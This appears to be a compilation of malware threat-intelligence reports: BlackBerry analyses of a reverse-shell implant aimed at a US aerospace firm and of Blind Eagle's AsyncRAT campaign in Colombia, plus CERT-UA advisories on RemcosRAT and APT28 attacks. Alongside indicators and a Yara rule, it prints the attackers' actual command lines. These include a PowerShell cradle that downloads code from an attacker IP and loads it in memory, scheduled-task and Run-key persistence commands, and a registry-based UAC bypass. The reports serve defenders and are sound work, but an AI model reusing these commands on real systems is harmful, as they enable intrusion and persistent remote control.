usage, static config size is hard-coded at 72 bytes Second DWORD: 0x1BB, connects to TCP port 443 16-byte string Pa$$w0rd seems to be a password to connect to the C2, but it is not used in practice C2 server points to: redacted[.]redacted[.]com 8/13 Figure 14 Example of information collected from infected system Bot-collected data structure is as follows: Offset 0x3: hard-coded unknown 16 bytes computed by custom unknown encode functions Offset 0x13: username using function GetUserNameA() Offset 0x43: computer name using function GetComputerNameA() Offset 0x73: file name being executed using function GetModuleFileNameA() Offset 0x178: IPV4 addresses using function GetAdaptersInfo() Offset0x1b8: MAC addresses using function GetAdaptersInfo() Persistence is achieved via Windows Task Scheduler, where a task named WinUpdate2 is created to run every day at 10:10 AM. Task Scheduler functions are abused by using its COM object via the CoCreateInstance() function. 9/13 Figure 15 Persistence is established through Windows Task Scheduler Reverse Shell Finally, the reverse shell is executed in a stealthy way. First, it gets the default standard handle by calling GetStdHandle(), then the ComSpec variable is retrieved using the GetEnvironmentVariableW() function, which by default is set to C:\Windows\system32\cmd.exe . After that, a pipe is created using CreatePipe(), and CreateProcessW() is executed, creating cmd.exe. Figure 16 cmd.exe CreateProcess Besides the reverse shell, the final payload can collect a complete list of directories on the victim system by using the function GetLogicalDeviceStringsW(), looping through the list of files using FindFirstFileA()/FindNextFileA(), and then comparing with to see if a given file is actually a directory. Figure 17 String comparison with directories During our investigations, we found two samples from mid-2022: "5[redacted sha-256]7" and "5[redacted sha-256]8", which is also a reverse shell with a hard-coded C2 at "[redacted][.]165" the same IP address that the C2 server from the 2023 samples are pointing to. Both samples were 10/13 targeting the aerospace industry. While the 2022 samples are obfuscated, unlike the 2023 samples, they do not contain stealthier functions such as API hashing, anti-analysis techniques, or encrypted static configuration. They also t include the capability to list directories, nor are they able to send information to a remote server. Network Infrastructure Domain Name [redacted].217 hxxp://[redacted].217/[redacted][.]dotm hxxp://[redacted].217/[redacted] [redacted].195 redacted.redacted.com [redacted].165 redacted.redacted.com Targets and Attribution Based on the content of the lure message, an aerospace company in the United States was the intended target for both campaigns. The development of this threat group's toolkit indicates that the operator has been active for at least one year. Exactly who is behind these two campaigns remains unknown. Conclusions Given the relatively sophisticated technical capabilities this threat actor deployed and the victim's timelines, we conclude with a high degree of confidence that this was a commercial cyberespionage campaign. Its purpose was most likely to gain visibility over the internal resources of its target in order to weigh its susceptibility to a future ransom demand. Based on the threat actor s operations timelines September 2022 and then July 2023 we can surmise that this shows the group s interest in the target remained consistent between the first and second campaign, as evidenced by the increased complexity of the second campaign compared to the first. During the time that elapsed between the two campaigns we observed, the threat actor put considerable effort into developing additional resources to ensure they could secure access to the sought-after information, and that they could exfiltrate it successfully. APPENDIX 1 Referential Indicators of Compromise (IoCs) 11/13 Second Stage Sha 265 Sha 265 16bd34c3f00288e46d8e3fdb67916aa7c68d8a0622f2c76c57112dae36c76875 885B04081BD89F5E23CBC59723052601 6d515dafef42a5648754de3c0fa6adfcb8b57af1c1d69e629b0d840dab7f91ec 62D3FF36EC8A721488E512E1C94B2744 abc348d3cc40521afc165aa6dc2d66fd9e654d91e3d66461724ac9490030697f A04D2C0AA0A798047161118B5D5816AA Sha 256 Disclaimer: The private version of this report is available upon request. It includes but is not limited to, the complete and contextual MITRE ATT&CK mapping, MITRE D3FEND countermeasures, Attack Flow by MITRE, and other threat detection content for tooling, network traffic, complete IoCs list, Yara rules, Sigma rules, and system behavior. Please email us at cti@blackberry.com for more information. For similar articles and news delivered straight to your inbox, subscribe to the BlackBerry Blog. Related Reading About Dmitry Bestuzhev Dmitry Bestuzhev is Senior Director, CTI (Cyber Threat Intelligence) at BlackBerry. Prior to BlackBerry, Dmitry was Head of Kaspersky's Global Research and Analysis Team for Latin America, where he oversaw the company's experts' anti-malware development work in the region. Dmitry has more than 20 years of experience in IT security across a wide variety of roles. His field of expertise covers everything from traditional online fraud to targeted high-profile attacks on financial and governmental institutions. His main focus in research is on producing Threat Intelligence reports on financially motivated targeted attacks. 12/13 About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve. 13/13 Blind Eagle Deploys Fake UUE Files and Fsociety to Target Colombia's Judiciary, Financial, Public, and Law Enforcement Entities blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia Summary APT-C-36, also known as Blind Eagle, has been actively targeting organizations in Colombia and Ecuador since at least 2019. It relies on spearphishing emails sent to specific and strategic companies to conduct its campaigns. On Feb. 20, the BlackBerry Research and Intelligence team witnessed a new campaign where the threat actor impersonated a Colombian government tax agency to target key industries in Colombia, including health, financial, law enforcement, immigration, and an agency in charge of peace negotiation in the country. Based on the infector vector and payload deployment mechanism, we also uncovered campaigns targeting Ecuador, Chile, and Spain. Brief MITRE ATT&CK Information Tactic Technique Initial Access T1566.001 Execution T1204.001, T1204.002, T1059.005, T1059.001, T1059.003 Persistence T1053.005, T1547.001 Defense Evasion T1218.009 Weaponization and Technical Overview Weapons PDF for lures, Visual Basic Scripts, .NET Assemblies injected in memory, Malicious DLLs, PowerShell Attack Vector Spear-phishing attachment with PDF Network Infrastructure DDNS DuckDNS, Discord, Web Applications Targets Entities in Colombia Technical Analysis Context APT-C-36 is a South American cyber espionage group that has been actively targeting Latin America-based entities over the last few years. Although most of its efforts have been focused on Colombia, according to research conducted by CheckPoint researchers, it has also carried out intrusions against Ecuador. The main targets of this group for the last few years have been those related to financial and governmental entities. The initial vector for infection is typically a PDF attachment sent by email. In the case we ll be examining in this report, the sender of the phishing email opted to use the Blind Carbon Copy (BCC) field instead of the To: field, most likely in an attempt to evade spam filters. They orchestrated their scam to correspondencia@ccb.org.co, which is the official email address listed on the Contact Us page of the Bogota Chamber of Commerce website. Bogot , of course, is the Capital of Colombia. The email's Subject line reads, "Obligaciones pendientes - DIAN N.2023-6980070- 39898001" - in English, this means outstanding obligations, a lure craftily designed to catch the attention of unsuspecting law-abiding recipients. DIAN is Colombia s Directorate of National Taxes and Customs - the Direcci n de Impuestos y Aduanas Nacionales. 1/19 The letter we analyzed states that the recipient is 45 days in arrears with a tax payment, and tells the target to click a link to view their invoice, which comes in the form of a password-protected PDF. The letter was signed by a (likely fictious) Roberto Mendoza Ortiz, Department Head. The phishing email's sender is "alfredo agudelo moreno agudelomorenoalfredo79[at]gmail[.]com," an email address which also appears to have been be made up specifically for this campaign. We also found another email address associated with this campaign cobrofactura09291[at]gmail[.]com. The PDF attached to the phishing email tries to trick the recipient with logos and messages related to the Directorate of National Taxes and Customs. APT-C-36 has regularly used DIAN in their spear-phishing lures over the years, presumably hoping that their targets wish to maintain in good standing with the tax authorities would override any natural caution they may have when opening emails sent from an unfamiliar email address. The PDF contains a URL different from the legitimate hyperlink to DIAN s website, which is https://www.dian.gov.co/. The URL shown is the real one; however, if the user clicks on it, they are redirected to a different website. Finally, the URL field of this new site contains a URL which downloads a second-stage payload from the public service Discord. Below is the full intrusion attempt shown step-by-step: Figure 1: Attack flow of Blind Eagle s campaign analyzed Attack Vector Hashes (md5, sha-256) e4d2799f3001a531d15939b1898399b4 fc85d3da6401b0764a2e8a5f55334a7d683ec20fb8210213feb6148f02a30554 File name Fv3608799004720042L900483000P19878099700001537012.pdf File Size 507436 bytes Created 2023:01:25 10:07:03-05:00 Author Direcci n De Aduanas Nacionales Calle 23 # 157-25 la Last Modified 2023:01:25 10:07:03-05:00 2/19 DocumentID uuid:9585FD65-6D08-453D-9E4A-51155AD12748 What is the DIAN? The Directorate of National Taxes and Customs is an entity attached to the Ministry of Finance and Public Credit. The DIAN is organized as a Special Administrative Unit of the national order. Its purpose is to help guarantee the fiscal security of the Colombian State and the protection of the national economic public order through the administration and control of due compliance with tax, customs, and exchange obligations. The jurisdiction of the DIAN includes the national territory. It is headquartered in Bogot , the Capital of Colombia. Weaponization Blind Eagle carefully targets its victims with spear-phishing emails, in a similar fashion to other campaigns by the group. It entices its targets to click links contained in the body of the email, or to download a malicious PDF file, which purports to contain information about overdue taxes. The URL shown on the bait document masquerades as the actual domain of DIAN. However, when clicked, the hyperlink leads to another domain created entirely by the threat actor using the public service website[.]org. The link redirects the target to dian.server[.]tl. This crafty technique is known as URL phishing. 3/19 Figure 2: Content of the bait email, masquerading as the Directorate of National Taxes and Customs In English, the bait document reads: 4/19 Dear taxpayer, At DIAN we maintain our commitment to provide you with the necessary assistance and services so that you can comply in a timely and correct manner with your tax obligations. For this reason, we remind you that you are in arrears with your obligations. for an amount owed of THREE MILLION TWO HUNDRED FIFTY-TWO THOUSAND ONE HUNDRED FORTY PESOS, with 45 days in arrears due to the lack of commitment in your financial obligations regulated in law 0248 of the year 2005 numeral 12. Next, we put at your disposal the Virtual PDF with all the details of your obligations generated to date. Submit a foreclosure process and pay on time. In the following link you will find the invoice in PDF format. To view the document, enter the password: A2023 Cordially, ROBERTO MENDOZA ORTIZ Department Head When the victim clicks on the masked link in the email, they are redirected to dian.server[.]tl. The threat actor carefully crafted this webpage to deceive the victim into believing they are interacting with the real DIAN. Figure 3: Content presented to the user on the fake webpage dian.server[.]tl Looking at the code of the webpage, the content presented to the users is loaded from website[.]org/s8Xwt2 or website[.]org/render/s8Xwt2, and not from dian.server[.]tl. This is accomplished by using an iframe resized to the 100% of the screen. 5/19 Figure 4: The content the victim sees is shown on the left, which is loaded from the resource shown on the right The fake DIAN website page contains a button that encourages the victim to download a PDF to view what the site claims to be pending tax invoices. Clicking the blue button initiates the download of a malicious file from the Discord content delivery network (CDN), which the attackers are abusing in this phishing scam. hxxps://cdn.discordapp[.]com/attachments/1067819339090243727/1071063499494666240/Asuntos_DIAN_N34000137L287004P08899 03-02-2023-pdf[.]uue hxxps://cdn.discordapp[.]com/attachments/1066009888083431506/1070342535702130759/Asuntos_DIAN_N6440005403992837L2088 01-02-2023-pdf[.]uue hxxps://cdn.discordapp[.]com/attachments/1072851594812600351/1072851643583967272/Asuntos_DIAN_N3663000227L28700000024 08-02-2023-pdf[.]uue The downloaded file tries to trick the user into manually adding the word at the end of the filename. However, the real extension is actually uue. This is a file extension WinRAR opens by default. Behind the extension there is a .RAR archive. Figure 5: Default installation of WinRAR with uue extension Hashes (md5, sha-256) B432202CF7F00B4A4CBE377C284F3F28 6D9D0EB5E8E69FFE9914C63676D293DA1B7D3B7B9F3D2C8035ABE0A3DE8B9FCA 6/19 File Name Asuntos_DIAN_N6440005403992837L2088970004-01-02-2023-pdf.uue File Size 1941 (bytes) s necessary to decompress the contents of the .uue file to continue with the infection chain. The compressed .uue file contains yet another file inside it. The inner file uses the same naming convention as the parent, but in this case, the new file is a Visual Basic Script (VBS). Figure 6: Content of the malicious .uue file Hashes (md5, sha-256) 6BEF68F58AFCFDD93943AFCC894F8740 430BE2A37BAC2173CF47CA1376126A3E78A94904DBC5F304576D87F5A17ED366 File name Asuntos_DIAN_N 6440005403992837L2088970004-01-02-2023-pdf.vbs File Size 227378 (bytes) Last Modified 2023:01:31 23:01:04 The file-extracted VBS script is executed via wscript.exe once the user double-clicks the file, so an element of user-interaction is involved in executing the attack. Upon execution, the infection chain starts automatically and carries out various actions within the system without any further user input, as seen below in figure 7. Figure 7: Process tree once the VBS script is manually executed by the user The VBS script's content is encoded but easy for a researcher to understand and decode. 7/19 Figure 8: Content of the VBS script The VBS script contains a significant amount of junk code, but has several replace functions to construct the PowerShell execution. Figure 9: Replace functions to replace junk code by the original behavior The content was built under the variable OXVTEUOWQPEFWQ , as shown in figure 9 above. After creating that content, figure 8 shows the variable YISMXXAPAUXCGFI , which is set as a WScript object. After decoding the code, to better understand its behavior, we can see that a part of the logic - the URL shown in the above image - is actually reversed. 8/19 Figure 10: Part of the VBS code decoded Figure 11: A closer look at part of the VBS code, decoded The final payload executed is powershell.exe, with the following command line parameters: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((NewObject Net.WebClient).DownloadString('hxxp://172.174.176[.]153/dll/Dll.ppam')); [System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.ysa/3383903646370010701/3046420575525667501/stnemhcatta/moc.ppadrocsid.ndc//:sptth')) First, PowerShell downloads and executes the decoded base64 content of hxxp://172.174.176[.]153/dll/Dll.ppam, which is a .NET DLL encoded, as shown in figure 12. 9/19 Figure 12: Base64 content from the server, called using powershell.exe Next, it uses GetType( Fiber.home ).GetMethod( ), to load the VAI method from the DLL downloaded previously. The logic of this method is as follows: To create a copy of the Visual Basic Script called Asuntos_DIAN_N 6440005403992837L2088970004-01-02-2023-pdf.vbs C:\Windows\Temp\OneDrive.vbs if it already doesn t exist using PowerShell. Powershell.exe -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\OneDrive.vbs Download the content of hxxp://172.174.176[.]153/rump/Rump.xls (Fsociety) Replace characters of the content downloaded Reverse the text of the second URL in the PowerShell command and download its content (hxxps://cdn.discordapp[.]com/attachments/1057665255750246403/1070100736463093833/asy[.]txt (AsyncRAT payload) Create a string with the content C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Load the Fsociety DLL into memory, passing two parameters: RegSvcs path AsyncRAT payload Fsociety DLL loads AsyncRAT in the RegSvcs process using the Process Hollowing technique To better understand the PowerShell execution, the following image demonstrates the sequence of loading DLLs dynamically in memory until the final goal, which is to load AsyncRAT into memory. AsyncRAT is one of the most popular open-source remote access Trojans (RATs) on the threat landscape today. 10/19 Figure 13: Sequence of loaded DLLs after PowerShell execution The following image is part of all the behavior described above, related to the first DLL loaded using the PowerShell command spawned by the VBS Script and calling the method. 11/19 Figure 14: Part of the method VAI previously called by PowerShell As mentioned, Fsociety.dll is used to load the final payload of AsyncRAT, which is downloaded from Discord. Blind Eagle mainly uses AsyncRAT, njRAT, QuasarRAT, LimeRAT, and RemcosRAT in its campaigns. A RAT is a remote access tool a network admin may use to remotely administrate the node. So a malicious RAT installed on a victim s machine enables the threat actor to connect to the infected endpoint any time they like, and to perform any operations they desire. Figure 15: Fsociety.dll is used to load AsyncRAT in memory The Ande function called in the Fsociety.dll contains the following code: 12/19 Figure 16: Fsociety DLL code Hashes (md5, sha-256) C75F9D3DA98E57B973077FDE8EC3780F 5399BF1F18AFCC125007D127493082005421C5DDEBC34697313D62D8BC88DAEC File Name Fiber.dll (Dll.ppam) File Size 10240 bytes Compiled Thu Feb 02 21:43:24 2023 | UTC 13/19 Hashes (md5, sha-256) 07AF8778DE9F2BC53899AAC7AD671A72 03B7D19202F596FE4DC556B7DA818F0F76195912E29D728B14863DDA7B91D9B5 File Name Fsociety.dll (Rump.xls) File Size 25600 bytes Compiled Sat May 18 00:13:09 2086 | UTC Hashes (md5, sha-256) 5E518B80C701E17259F3E7323EFFC83F 64A08714BD5D04DA6E2476A46EA620E3F7D2C8A438EDA8110C3F1917D63DFCFC File Name Stub.exe (AsyncRAT payload) File Size 26080 bytes Compiled Sun May 10 05:24:51 2020 | UTC AsyncRAT contains a configuration method with information that is used during the intrusion attempt. This information is encrypted using Base64 and AES256. Figure 17: AsyncRAT configuration encrypted Once the configuration is decrypted, it contains information about the Command-and-Control (C2) to transfer commands and files between client and server. 14/19 Figure 18: AsyncRAT configuration decrypted Also, between the configuration, it was possible to obtain the X.509 certificates used for communication with the C2. Figure 19: Certificate extracted from the AsyncRAT config AsyncRAT can establish persistence in two different ways, depending on whether a user loaded it with admin privileges or not. A copy of itself is first created under C:\Users\\AppData\Roaming\MRR.exe. Figure 20: Creation of MRR in AppData folder 1. If the user who executed it was an admin, then AsyncRAT can create a scheduled task using the process schtasks.exe, with the following command line: a. "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "MRR" /tr '"C:\Users\ \AppData\Roaming\MRR.exe"' & exit' Figure 21: Execution of schtasks.exe via cmd.exe Figure 22: Command line executed to create scheduled task and run AsyncRAT If the user is not an admin, then AsyncRAT can create a registry key to execute the binary every time the system is started: 15/19 Key: KCU\Software\Microsoft\Windows\CurrentVersion\Run\MRR Value: C:\Users\\AppData\Roaming\MRR.exe Figure 23: Registry key created to execute the AsyncRAT Payload An interesting part that always happens, regardless of whether the user is admin or not, is the creation of a .bat file in the user s Temp directory to perform the following actions: Timeout.exe execution for three seconds Run the AsyncRAT payload from AppData folder Delete the .bat file Figure 24: tmp file creation in the Temp directory Figure 25: Execution of cmd.exe to load the .bat file from tmp folder We could determine that the .bat filename is randomly generated using the regular expression after several executions of this sample. The structure is like the next one: .*tmp[a-zA-Z1-9]{4}.tmp.bat. 16/19 Figure 26: Persistence methods used by AsyncRAT Network Infrastructure In this case, the victim s machine starts communicating with the DuckDNS server to receive and execute commands, exfiltrate information, and perform any other action desired by the threat actor. As seen in figure 18 above, the server used is asy1543.duckdns[.]org:1543. Figure 27: Communication started between victim s machine and the threat actor s C2 During our investigation, the resolution of the DuckDNS domain was changed to different IP addresses. Initially, the IP that resolves the domain was a VPN/Proxy service 46.246.86[.]3. While conducting the investigation, we discovered another IP with the same purpose, 46.246.12[.]6. Entity Value Description 17/19 Domain asy1543.duckdns[.]org:1543 Final AsyncRAT payload communication domain 46.246.86[.]3 Resolution of the DuckDNS domain 46.246.12[.]6 Resolution of the DuckDNS domain hxxp://172.174.176[.]153/ Web application hosting payloads used during the infection 172.174.176[.]153 IP of the web application hosting payloads used during the infection Blind Eagle/ APT-C-36 uses Dynamic DNS (DDNS) services, such as DuckDNS, for most campaigns to connect its implemented RATs to the infrastructure they control to send and receive commands. DuckDNS additionally allows for high IP resolution rotation and the launch of new subdomains under this well-known DDNS The application web hosted under hxxp://172.174.176[.]153/ had two main directories where it stored information to be used during the intrusion as the user downloads and executes files. The first directory was hxxp://172.174.176[.]153/dll/, storing several DLLs used during the intrusion. Figure 28: Index of APT-C-36's /dll directory Another directory is found at hxxp://172.174.176[.]153/rump/ and stores another DLL, in this case, related to Fsociety: Figure 29: index of /rump directory Targets Blind Eagle/ APT-C-36's targets include health, public, financial, judiciary, and law enforcement entities in Colombia. Among the countries where we have seen Blind Eagle activity in the last few months, specifically distributing the UUE file types with different themes, include: 18/19 Colombia Ecuador Chile Spain This is consistent with the use of the Spanish language in the group s spear-phishing emails. Most countries in South America use Spanish (apart from Brazil), which matches the threat actor s locale and the names in the bait document. Attribution APT-C-36 is a South American-based threat actor active since at least 2019. The group continues to concentrate its operations within a Hispanic geographic region, with its main targets being government institutions and other organizations primarily based in Colombia. The use of specific tools and artifacts, along with the type and configuration of the network infrastructure documented in this report, combined with the tactics, techniques & procedures (TTPs) used to deploy them, all closely align with previously attributed campaigns by this group. That, coupled with the geolocation and nature of the targets seen in this campaign, leads us to ascertain, at the very least, a moderate level of confidence that this campaign was conducted by APT-C-36. Conclusions This campaign continues to operate for the purposes of information theft and espionage. The modus operandi used has mostly stayed the same as the group s previous efforts it is very simple, which may mean that this group is comfortable with its way of launching campaigns via phishing emails, and feels confident in using them because they continue to work. Over the next few months, we will likely continue to see new targets for this group, using new ways to deceive their victims. APPENDIX 1 - Applied Countermeasures Yara Rules rule targeted_BlindEagle_Loader : Fsociety meta: description = "Rule to detect BlindEagle malicious Loader" author = "The BlackBerry Research & Intelligence team" date = "2023-02-07" last_modified = "2023-02-22" distribution = "TLP:White" version = "1.0" strings: $h0 = {6449640053697A655F00526573657276656431004465736B746F70005469746C65006477580064775900647758536 97A650064775953697A6500647758436F756E74436861727300647759436F756E74436861727300647746696C6C41747472} $h1 = {000004200101022901002434353136453045312D354330452D344234452D394133322D39453337453233453734323600000C01000731 2E302E302E3000004901001A2E4E45544672616D65776F726B2C5665} condition: uint16(0) == 0x5A4D and filesize < 100KB and 1 of ($h*) Disclaimer: The private version of this report is available upon request. It includes but is not limited to the complete and contextual MITRE ATT&CK mapping, MITRE D3FEND countermeasures, and other threat detection content for tooling, network traffic, complete IOCs list, and system behavior. Please email us at cti@blackberry.com for more information. About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve. 19/19 CERT-UA cert.gov.ua/article/6276824 general information On 21.12.2023, the Government Computer Emergency Response Team of Ukraine CERTUA recorded a mass distribution of e-mails with the subject "Debts under the Kyivstar contract" and an attachment in the form of an archive "Subscriber's debt.zip". The specified ZIP-archive contains the RAR-archive "Subscriber's debt.rar" divided into 2 parts, in which there is a password-protected archive of the same name. In the latter, there is a document with the macro "Subscriber Debt.doc". If activated, the macro code will download to the PC and launch the "GB.exe" file using the file explorer (explorer.exe) using the SMB protocol. In turn, the specified file is an SFX archive containing a BATCH script for downloading from the bitbucket service and launching the executable file "wsuscr.exe", obfuscated with the help of SmartAssembly .NET, the purpose of which is to decrypt and launch the RemcosRAT remote control program (identifier license: 5639D40461DCDD07011A2B87AD3C9EDD). In addition, letters with the subject "SBU request" and an attachment in the form of a "Documents.zip" archive containing a password-protected and divided into 3 RAR-archives "Request.rar" were recorded. In the latter, the executable file "Request.exe" is located. If such an archive is opened and the executable files run, the computer may be infected with the RemcosRAT program (License ID: 5639D40461DCDD07011A2B87AD3C9EDD). In addition to the typical UAC-0050 location of the RemcosRAT management servers at the technical site of the Malaysian hosting provider Shinjiru, they are also located within the autonomous system AS44477 (STARK INDUSTRIES SOLUTIONS LTD). Indicators of cyber threats Files: 4754f0ede14f1bae26b69bd43c7b6705 8b48c11a538af362b766d8ccb09ef11ad6ee62bb430424c9f78d8e7cd5785b7a Debt of the subscriber.zip fb9ce204ff2b2f8014a547a2de568327 ca9093b05cf9e02e06f58c9819042b36b29b8461b4e8f6280bb74a76dcf3e449 Subscriber's debt.part1.rar fc196e76dee54125e5fc15018d764fcf 9f63016c2b9c83da3dca2173ca5f443d7e0e5289983c441fe064766f2da3a2ba Subscriber's debt.part2.rar 324afa8304dc6a079e8f9a2f2ea9654f 1173c9fc2e4fd5eba9ca7492902f860d6b5aac65f1c5d1415aa2cb86f260b94a Automatic access code.txt 1d1d06ebd13ed9a3ea9254962a4c189f 823a799018d1ab0c2eb4c2b26d3f2eb0342fbc30eac34379903398c97d350827 Debt of the subscriber.rar de2e053acae98adbecc23ab3c0e9cf5d 93aa6fc207df430a6e9833259e618895bcdb75c7db0850599d3dbb87d47a54c7 Debt of the subscriber.doc c3e7cfa2e076c3ca421ddc00496c71b5 d698994e527111a6ddd590e09ddf08322d54b82302e881f5f27e3f5d5368829c GB.exe 6c704bae1033920b576dacbcff6bfef5 7c3476fd586bcb7f42e706f32999356fb4b2c8341f00b8297cf74131f6fa611c test2.exe 628ef6dc40f8b6e89b6d537463add174 8272c8939a325be870bcde372842b808a015d2b892e239e16a6211a5c0b4c789 test2.bat fc99e0883a1fa153693547953a83674e 6619b7126840529091b2da2fa1b7238d6b10bc17bbfc8327aad3683ae686b81d wsuscr.exe 490a5462fc6e4f477811ee08a00c7c85 a18876e286ea71d6d0098f6daa61a456fe1a2c176ab025668bbe5d64feafb829 remcos.exe 62f588d655331f053795087b657743fe 9666d03d9770f87436114fc726790b53b8b625bb9cf36902d040afcef6080dce Documents.zip 1ac510cf6c0d34f5148e3136494a2366 1279c4f75e61a2213f9bcb7a14922f9c282d7a647fd4b058ad27c84d7a0f315d Request.part1.rar 57ea2a297e1881d1015634c3e9b7c66d 7a100ddd648c57fd4cf4ef12692380deff557c6630a7c9b2d740f69d5c1941a3 Request.part2.rar f677caecda3825f2553c0e0dcdf3c1b8 eeed029e8b392301e8f4d17492f2de3640925bfe785a0bf784141c384808a1fb Request.part3.rar d4f5c321818c7876c6fffffe3e1fc30e 76f1c40c7ff5dda070703cc4f07a5f5d3489fcfa65884ad91fb33a74303ebd43 Code 275376.txt 75bc7617d832a378a533d896223587bc d59b1ace28e0b35a0bd54fa0ca95f92082b17fa4109fb3f3d0be33ca60834660 Request.exe 0bff5c030f8c781c604fb589c6bfc5a6 be878c37bfab2d6ea7b460d74312523317e3377927222f87aa3ce92f6ebc5bcd Worm 0e38564d3cff4859e4418ff3b1c57506 096a62c27bc5a7c860f72927a5435c8a874044d2412be549817a8f7d13ba93cd Ties 4febae6a56361fa83265fa07f50a1880 0d43898207e1c83da0844e5511a58ea051f4672f0c96a77a8437b326ce9b4547 Stylish participants e0f074f4d3dcd3b2b59c0c162d83ff57 52a25828f2df09476ac25ab2fd12a9b7b47be2a2ef42f58641a4dd1e0dab2aaa Ka aae9e3b0ccd99846c3c5606a3164b3bf d78a77857dcfddf9f7af0b7c0fccb181b12b69587e1e60a3d96be1b8a7ce3b52 Injection 6041845b2fe9dfb4b06fed8ec8a05295 9277d96732034e91501a8ef9be26a05c63db0be38b50e1d11d4ee3a38929ec2e Emperor 53b204f96e93b70a528b88bedfd6b794 8e0967dbee0583704b4b9718521b04e53edc84ddc61456e6d9e38c5522c9cb46 Compound Bathrooms 848164d084384c49937f99d5b894253e f58d3a4b2f3f7f10815c24586fae91964eeed830369e7e0701b43895b0cefbd3 VideoMagic.pif ce460418bab48b1e78b3bf611aa34f99 d28975157f2af26766fcbdab8ca5a68bd5bbf1331cef1107424d0400b400ed50 remcos.exe Network: \\89[.]23.98.22\LN\ \\89[.]23.98.22\LN\GB.exe (tcp)://45[.]87.155.41:8080 (tcp)://45[.]87.155.41:465 (tcp)://45[.]87.155.41:54550 (tcp)://45[.]87.155.41:80 (tcp)://45[.]87.154.153:80 (tcp)://45[.]87.154.153:8080 (tcp)://101[.]99.75.16:80 (tcp)://101[.]99.75.16:8080 (tcp)://101[.]99.75.16:465 (tcp)://101[.]99.75.145:465 (tcp)://101[.]99.75.145:80 (tcp)://94[.]131.102.115:80 (tcp)://94[.]131.102.117:80 (tcp)://94[.]131.102.119:80 (tcp)://94[.]131.102.122:80 (tcp)://94[.]131.102.124:80 (tcp)://101[.]99.75.145:8081 (tcp)://101[.]99.75.147:8081 (tcp)://101[.]99.75.14:8081 (tcp)://101[.]99.75.16:54550 (tcp)://101[.]99.75.16:8081 (tcp)://45[.]87.155.41:8081 (tcp)://94[.]131.102.115:54550 (tcp)://95[.]164.35.143:8081 (tcp)://95[.]164.35.174:54550 (tcp)://95[.]164.35.174:8081 (tcp)://95[.]164.35.234:8081 101[.]99.75.14 101[.]99.75.145 101[.]99.75.147 101[.]99.75.16 45[.]87.154.153 45[.]87.155.41 81[.]19.149.130 89[.]23.98.22 94[.]131.102.115 94[.]131.102.117 94[.]131.102.119 94[.]131.102.122 94[.]131.102.124 95[.]164.35.143 95[.]164.35.174 95[.]164.35.234 hXXps://bitbucket[.]org/olegovich-007/777/downloads/wsuscr.exe Hosts: "%WINDIR%\System32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f "%WINDIR%\System32\reg.exe" delete HKCU\Software\Classes\.omg\ /f "%WINDIR%\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f "%WINDIR%\System32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d C:\Users\ADMINI~1\AppData\Local\Temp\persistent2\test2.exe /f %APPDATA%\wsuscr.exe %TEMP%\IXP000.TMP\test2.bat %TEMP%\persistent2\test2.exe cmd /c "test2.bat" cmd /c schtasks.exe /create /tn "Watson" /tr "wscript '%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js'" /sc minute /mo 3 /F cmd /k cmd < Bathrooms & exit cmd /k echo [InternetShortcut] > "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\MarketWise.url" & echo URL="%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js" >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\MarketWise.url" & exit cmd.exe "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.pif" "%LOCALAPPDATA%\Insightful Markets Technologies\A cmd.exe /S /D /c" echo F " cmd.exe /c res.bat && test2.exe dvwsus-SFNWWW exel-3RO5G3 explorer.exe "\\89.23.98.22\LN\" powershell -Command " [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABwAHcA |Invoke-Expression" powershell -Command " [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4A | Invoke-Expression" powershell.exe -Command Stop-Process -Name explorer wscript "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js" wscript.exe "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js" xcopy /s test2.exe "%TEMP%\persistent2\test2.exe" >NULL Graphic images Fig. 1 Example of a chain of damage Previous Modus operandi UAC-0177 (JokerDPR) on the example of one of the cyber attacks (CERTUA#8290) The next one APT28: From initial attack to creating threats to a domain controller in an hour (CERTUA#8399) CERT-UA cert.gov.ua/article/6276894 general information During December 15-25, 2023, several cases of distribution of e-mails with links to "documents" were discovered among state organizations, visiting which led to damage of computers with malicious programs. In the process of investigating the incidents, it was found that the mentioned links redirect the victim to a web resource where, with the help of JavaScript and features of the application protocol "search" ("ms-search") [1], a shortcut file is downloaded, the opening of which leads to the launch A PowerShell command designed to download from a remote (SMB) resource and run (open) a decoy document, as well as the Python programming language interpreter and the Client.py file classified as MASEPIE. Using MASEPIE, OPENSSH (for building a tunnel), STEELHOOK PowerShell scripts (stealing data from Chrome/Edge Internet browsers), and the OCEANMAP backdoor are loaded and launched on the computer. In addition, IMPACKET, SMBEXEC, etc. are created on the computer within an hour from the moment of the initial compromise, with the help of which network reconnaissance and attempts at further horizontal movement are carried out. According to the combination of tactics, techniques, procedures and tools, the activity is associated with the activities of the APT28 group. At the same time, it is obvious that the malicious plan also involves taking measures to develop a cyber attack on the entire information and communication system of the organization. Thus, the compromise of any computer can pose a threat to the entire network. It should be noted that cases of similar attacks have also been recorded in relation to Polish organizations. For reference: OCEANMAP is a malicious program developed using the C# programming language. The main functionality consists in executing commands using cmd.exe. The IMAP protocol is used as a control channel. Commands, in base64-encoded form, are contained in message drafts ("Drafts") of the corresponding directories of electronic mailboxes; 